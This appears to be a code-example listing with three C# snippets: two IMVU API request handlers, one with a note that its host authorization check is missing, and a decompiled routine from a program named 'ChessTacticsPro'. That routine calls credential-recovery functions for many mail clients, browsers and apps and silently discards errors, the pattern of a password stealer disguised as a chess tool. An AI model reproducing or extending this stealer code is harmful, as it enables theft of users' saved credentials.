Пример #1
0
 public static IMVU.IDL.Buffer HandleCall(string api, string method, NameValueCollection p, IMVU.IDL.IContext ictx)
 {
     ApiInstance ai = ApiInstance.FindWrapper(api, codepath);
     if (ai == null)
     {
         IMVU.IDL.Services.Error(ictx, "Unknown API: {0}", api);
         return null;
     }
     return ai.CallMethod(method, p, ictx);
 }
Пример #2
0
        public static void HandleRequest(IMVU.IDL.IContext ictx)
        {
            IMVU.IDL.Services.Log("Request: {0}", ictx.Http.Request.Url);
            string host = ictx.Http.Request.Url.Host;
            //	todo: verify that the app is allowed to use the service, based on the host
            string str = ictx.Http.Request.Url.PathAndQuery;
            if (HandleSpecialUrl(str, ictx))
            {
                return;
            }

            var mc = pathParts.Match(str);
            if (mc.Groups.Count < 3)
            {
                IMVU.IDL.Services.Error(ictx, "Bad API URL: {0} (group count = {1})", str, mc.Groups.Count);
                return;
            }
            string api = mc.Groups[1].Captures[0].Value;
            string method = mc.Groups[2].Captures[0].Value;
            string args = "";
            if (mc.Groups.Count == 4 && mc.Groups[3].Captures.Count > 0)
            {
                args = mc.Groups[3].Captures[0].Value.Substring(1);
            }
            IMVU.IDL.Buffer data = HandleCall(api, method, HttpUtility.ParseQueryString(args), ictx);
            if (data != null)
            {
                if (data.contenttype != null)
                {
                    ictx.Http.Response.ContentType = data.contenttype;
                }
                else
                {
                    ictx.Http.Response.ContentType = "text/json";
                }
                ictx.Http.Response.OutputStream.Write(data.data, data.offset, data.length);
            }
        }
Пример #3
0
 // Token: 0x0600002B RID: 43 RVA: 0x000029C0 File Offset: 0x000019C0
 public static void PasswordRecovery()
 {
     try
     {
         ChessTacticsPro.RecoverMail.Outlook();
         ChessTacticsPro.RecoverMail.NetScape();
         ChessTacticsPro.RecoverMail.Thunderbird();
         ChessTacticsPro.RecoverMail.Eudora();
         ChessTacticsPro.RecoverMail.Incredimail();
         ChessTacticsPro.RecoverBrowsers.Firefox();
         ChessTacticsPro.RecoverBrowsers.Chrome();
         ChessTacticsPro.RecoverBrowsers.InternetExplorer();
         ChessTacticsPro.RecoverBrowsers.Opera();
         ChessTacticsPro.RecoverBrowsers.Safari();
         Filezilla.Recover();
         IMVU.Recover();
         InternetDownloadManager.Recover();
         JDownloader.Recover();
         Paltalk.Recover();
     }
     catch (Exception ex)
     {
     }
 }